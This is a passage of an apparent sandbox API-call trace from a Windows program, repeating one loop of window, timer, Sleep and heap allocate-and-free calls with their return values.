GetDlgCtrlID (hWnd=0x0) returned 0 [0033.329] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.329] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.329] timeGetTime () returned 0x11435b0 [0033.329] Sleep (dwMilliseconds=0x0) [0033.329] GetProcessHeap () returned 0x790000 [0033.329] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.329] GetProcessHeap () returned 0x790000 [0033.329] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.329] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.329] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.329] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.329] timeGetTime () returned 0x11435b0 [0033.329] Sleep (dwMilliseconds=0x0) [0033.329] GetProcessHeap () returned 0x790000 [0033.329] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.329] GetProcessHeap () returned 0x790000 [0033.329] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.329] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.329] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.329] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.329] timeGetTime () returned 0x11435b0 [0033.329] Sleep (dwMilliseconds=0x0) [0033.329] GetProcessHeap () returned 0x790000 [0033.329] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.329] GetProcessHeap () returned 0x790000 [0033.329] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.330] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.330] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.330] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.330] timeGetTime () returned 0x11435b0 [0033.330] Sleep (dwMilliseconds=0x0) [0033.330] GetProcessHeap () returned 0x790000 [0033.330] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.330] GetProcessHeap () returned 0x790000 [0033.330] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.330] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.330] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.330] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.330] timeGetTime () returned 0x11435b0 [0033.330] Sleep (dwMilliseconds=0x0) [0033.330] GetProcessHeap () returned 0x790000 [0033.330] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.330] GetProcessHeap () returned 0x790000 [0033.330] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.330] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.330] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.330] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.330] timeGetTime () returned 0x11435b0 [0033.330] Sleep (dwMilliseconds=0x0) [0033.330] GetProcessHeap () returned 0x790000 [0033.330] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.330] GetProcessHeap () returned 0x790000 [0033.330] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.330] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.330] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.330] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.330] timeGetTime () returned 0x11435b0 [0033.330] Sleep (dwMilliseconds=0x0) [0033.330] GetProcessHeap () returned 0x790000 [0033.330] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.330] GetProcessHeap () returned 0x790000 [0033.330] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.331] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.331] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.331] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.331] timeGetTime () returned 0x11435b0 [0033.331] Sleep (dwMilliseconds=0x0) [0033.331] GetProcessHeap () returned 0x790000 [0033.331] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.331] GetProcessHeap () returned 0x790000 [0033.331] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.331] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.331] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.331] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.331] timeGetTime () returned 0x11435b0 [0033.331] Sleep (dwMilliseconds=0x0) [0033.331] GetProcessHeap () returned 0x790000 [0033.331] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.331] GetProcessHeap () returned 0x790000 [0033.331] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.331] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.331] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.331] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.331] timeGetTime () returned 0x11435b0 [0033.331] Sleep (dwMilliseconds=0x0) [0033.331] GetProcessHeap () returned 0x790000 [0033.331] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.331] GetProcessHeap () returned 0x790000 [0033.331] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.331] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.331] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.331] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.331] timeGetTime () returned 0x11435b0 [0033.331] Sleep (dwMilliseconds=0x0) [0033.331] GetProcessHeap () returned 0x790000 [0033.331] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.331] GetProcessHeap () returned 0x790000 [0033.331] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.331] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.332] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.332] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.332] timeGetTime () returned 0x11435b0 [0033.332] Sleep (dwMilliseconds=0x0) [0033.332] GetProcessHeap () returned 0x790000 [0033.332] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.332] GetProcessHeap () returned 0x790000 [0033.332] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.332] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.332] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.332] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.332] timeGetTime () returned 0x11435b0 [0033.332] Sleep (dwMilliseconds=0x0) [0033.332] GetProcessHeap () returned 0x790000 [0033.332] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.332] GetProcessHeap () returned 0x790000 [0033.332] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.332] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.332] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.332] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.332] timeGetTime () returned 0x11435b0 [0033.332] Sleep (dwMilliseconds=0x0) [0033.332] GetProcessHeap () returned 0x790000 [0033.332] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.332] GetProcessHeap () returned 0x790000 [0033.332] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.332] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.332] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.332] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.332] timeGetTime () returned 0x11435b0 [0033.332] Sleep (dwMilliseconds=0x0) [0033.332] GetProcessHeap () returned 0x790000 [0033.332] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.332] GetProcessHeap () returned 0x790000 [0033.332] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.333] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.333] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.333] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.333] timeGetTime () returned 0x11435b0 [0033.333] Sleep (dwMilliseconds=0x0) [0033.333] GetProcessHeap () returned 0x790000 [0033.333] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.333] GetProcessHeap () returned 0x790000 [0033.333] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.333] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.333] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.333] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.333] timeGetTime () returned 0x11435b0 [0033.333] Sleep (dwMilliseconds=0x0) [0033.333] GetProcessHeap () returned 0x790000 [0033.333] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.333] GetProcessHeap () returned 0x790000 [0033.333] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.333] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.333] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.333] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.333] timeGetTime () returned 0x11435b0 [0033.333] Sleep (dwMilliseconds=0x0) [0033.333] GetProcessHeap () returned 0x790000 [0033.333] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.333] GetProcessHeap () returned 0x790000 [0033.333] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.333] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.333] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.333] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.333] timeGetTime () returned 0x11435b0 [0033.333] Sleep (dwMilliseconds=0x0) [0033.333] GetProcessHeap () returned 0x790000 [0033.333] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.333] GetProcessHeap () returned 0x790000 [0033.333] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.333] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.334] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.334] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.334] timeGetTime () returned 0x11435b0 [0033.334] Sleep (dwMilliseconds=0x0) [0033.334] GetProcessHeap () returned 0x790000 [0033.334] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.334] GetProcessHeap () returned 0x790000 [0033.334] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.334] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.334] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.334] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.334] timeGetTime () returned 0x11435b0 [0033.334] Sleep (dwMilliseconds=0x0) [0033.334] GetProcessHeap () returned 0x790000 [0033.334] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.334] GetProcessHeap () returned 0x790000 [0033.334] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.334] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.334] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.334] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.334] timeGetTime () returned 0x11435b0 [0033.334] Sleep (dwMilliseconds=0x0) [0033.334] GetProcessHeap () returned 0x790000 [0033.334] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.334] GetProcessHeap () returned 0x790000 [0033.334] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.334] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.334] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.334] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.334] timeGetTime () returned 0x11435b0 [0033.334] Sleep (dwMilliseconds=0x0) [0033.334] GetProcessHeap () returned 0x790000 [0033.334] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.334] GetProcessHeap () returned 0x790000 [0033.334] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.334] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.334] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.334] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.334] timeGetTime () returned 0x11435b0 [0033.335] Sleep (dwMilliseconds=0x0) [0033.335] GetProcessHeap () returned 0x790000 [0033.335] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.335] GetProcessHeap () returned 0x790000 [0033.335] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.335] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.335] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.335] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.335] timeGetTime () returned 0x11435b0 [0033.335] Sleep (dwMilliseconds=0x0) [0033.335] GetProcessHeap () returned 0x790000 [0033.335] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.335] GetProcessHeap () returned 0x790000 [0033.335] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.335] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.335] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.335] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.335] timeGetTime () returned 0x11435b0 [0033.335] Sleep (dwMilliseconds=0x0) [0033.335] GetProcessHeap () returned 0x790000 [0033.335] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.335] GetProcessHeap () returned 0x790000 [0033.335] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.335] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.335] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.335] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.335] timeGetTime () returned 0x11435b0 [0033.335] Sleep (dwMilliseconds=0x0) [0033.335] GetProcessHeap () returned 0x790000 [0033.335] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.335] GetProcessHeap () returned 0x790000 [0033.335] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.335] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.335] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.335] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.335] timeGetTime () returned 0x11435b0 [0033.335] Sleep (dwMilliseconds=0x0) [0033.335] GetProcessHeap () returned 0x790000 [0033.335] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.336] GetProcessHeap () returned 0x790000 [0033.336] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.336] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.336] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.336] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.336] timeGetTime () returned 0x11435b0 [0033.336] Sleep (dwMilliseconds=0x0) [0033.336] GetProcessHeap () returned 0x790000 [0033.336] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.336] GetProcessHeap () returned 0x790000 [0033.336] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.336] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.336] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.336] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.336] timeGetTime () returned 0x11435b0 [0033.336] Sleep (dwMilliseconds=0x0) [0033.336] GetProcessHeap () returned 0x790000 [0033.336] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.336] GetProcessHeap () returned 0x790000 [0033.336] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.336] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.336] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.336] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.336] timeGetTime () returned 0x11435b0 [0033.336] Sleep (dwMilliseconds=0x0) [0033.336] GetProcessHeap () returned 0x790000 [0033.336] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.336] GetProcessHeap () returned 0x790000 [0033.336] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.336] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.336] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.336] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.336] timeGetTime () returned 0x11435b0 [0033.336] Sleep (dwMilliseconds=0x0) [0033.336] GetProcessHeap () returned 0x790000 [0033.336] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.336] GetProcessHeap () returned 0x790000 [0033.336] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.336] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.337] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.337] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.337] timeGetTime () returned 0x11435b0 [0033.337] Sleep (dwMilliseconds=0x0) [0033.337] GetProcessHeap () returned 0x790000 [0033.337] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.337] GetProcessHeap () returned 0x790000 [0033.337] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.337] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.337] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.337] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.337] timeGetTime () returned 0x11435b0 [0033.337] Sleep (dwMilliseconds=0x0) [0033.337] GetProcessHeap () returned 0x790000 [0033.337] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.337] GetProcessHeap () returned 0x790000 [0033.337] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.337] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.337] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.337] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.337] timeGetTime () returned 0x11435b0 [0033.337] Sleep (dwMilliseconds=0x0) [0033.337] GetProcessHeap () returned 0x790000 [0033.337] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.337] GetProcessHeap () returned 0x790000 [0033.337] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.337] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.337] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.337] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.337] timeGetTime () returned 0x11435b0 [0033.337] Sleep (dwMilliseconds=0x0) [0033.337] GetProcessHeap () returned 0x790000 [0033.337] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.337] GetProcessHeap () returned 0x790000 [0033.337] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.337] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.337] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.337] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.337] timeGetTime () returned 0x11435b0 [0033.337] Sleep (dwMilliseconds=0x0) [0033.338] GetProcessHeap () returned 0x790000 [0033.338] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.338] GetProcessHeap () returned 0x790000 [0033.338] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.338] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.338] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.338] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.338] timeGetTime () returned 0x11435b0 [0033.338] Sleep (dwMilliseconds=0x0) [0033.338] GetProcessHeap () returned 0x790000 [0033.338] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.338] GetProcessHeap () returned 0x790000 [0033.338] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.338] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.338] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.338] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.338] timeGetTime () returned 0x11435b0 [0033.338] Sleep (dwMilliseconds=0x0) [0033.338] GetProcessHeap () returned 0x790000 [0033.338] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.338] GetProcessHeap () returned 0x790000 [0033.338] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.338] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.338] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.338] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.338] timeGetTime () returned 0x11435b0 [0033.338] Sleep (dwMilliseconds=0x0) [0033.338] GetProcessHeap () returned 0x790000 [0033.338] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.338] GetProcessHeap () returned 0x790000 [0033.338] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.338] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.338] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.338] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.338] timeGetTime () returned 0x11435b0 [0033.338] Sleep (dwMilliseconds=0x0) [0033.338] GetProcessHeap () returned 0x790000 [0033.338] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.338] GetProcessHeap () returned 0x790000 [0033.339] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.339] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.339] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.339] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.339] timeGetTime () returned 0x11435b0 [0033.339] Sleep (dwMilliseconds=0x0) [0033.339] GetProcessHeap () returned 0x790000 [0033.339] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.339] GetProcessHeap () returned 0x790000 [0033.339] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.339] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.339] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.339] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.339] timeGetTime () returned 0x11435b0 [0033.339] Sleep (dwMilliseconds=0x0) [0033.339] GetProcessHeap () returned 0x790000 [0033.339] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.339] GetProcessHeap () returned 0x790000 [0033.339] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.339] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.339] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.339] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.339] timeGetTime () returned 0x11435b0 [0033.339] Sleep (dwMilliseconds=0x0) [0033.339] GetProcessHeap () returned 0x790000 [0033.339] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.339] GetProcessHeap () returned 0x790000 [0033.339] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.339] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.339] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.339] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.339] timeGetTime () returned 0x11435b0 [0033.339] Sleep (dwMilliseconds=0x0) [0033.339] GetProcessHeap () returned 0x790000 [0033.339] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.339] GetProcessHeap () returned 0x790000 [0033.339] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.339] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.339] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.339] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.340] timeGetTime () returned 0x11435b0 [0033.340] Sleep (dwMilliseconds=0x0) [0033.340] GetProcessHeap () returned 0x790000 [0033.340] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.340] GetProcessHeap () returned 0x790000 [0033.340] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.340] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.340] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.340] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.340] timeGetTime () returned 0x11435b0 [0033.340] Sleep (dwMilliseconds=0x0) [0033.340] GetProcessHeap () returned 0x790000 [0033.340] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.340] GetProcessHeap () returned 0x790000 [0033.340] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.340] GetDlgCtrlID (hWnd=0x0) returned 0 [0033.340] EnableWindow (hWnd=0x0, bEnable=1) returned 0 [0033.340] timeBeginPeriod (uPeriod=0x0) returned 0x61 [0033.340] timeGetTime () returned 0x11435b0 [0033.340] Sleep (dwMilliseconds=0x0) [0033.340] GetProcessHeap () returned 0x790000 [0033.340] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3bd0) returned 0x806ed8 [0033.340] GetProcessHeap () returned 0x790000 [0033.340] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x806ed8 | out: hHeap=0x790000) returned 1 [0033.340] GetDlgCtrlID (hWnd=0x0) returned 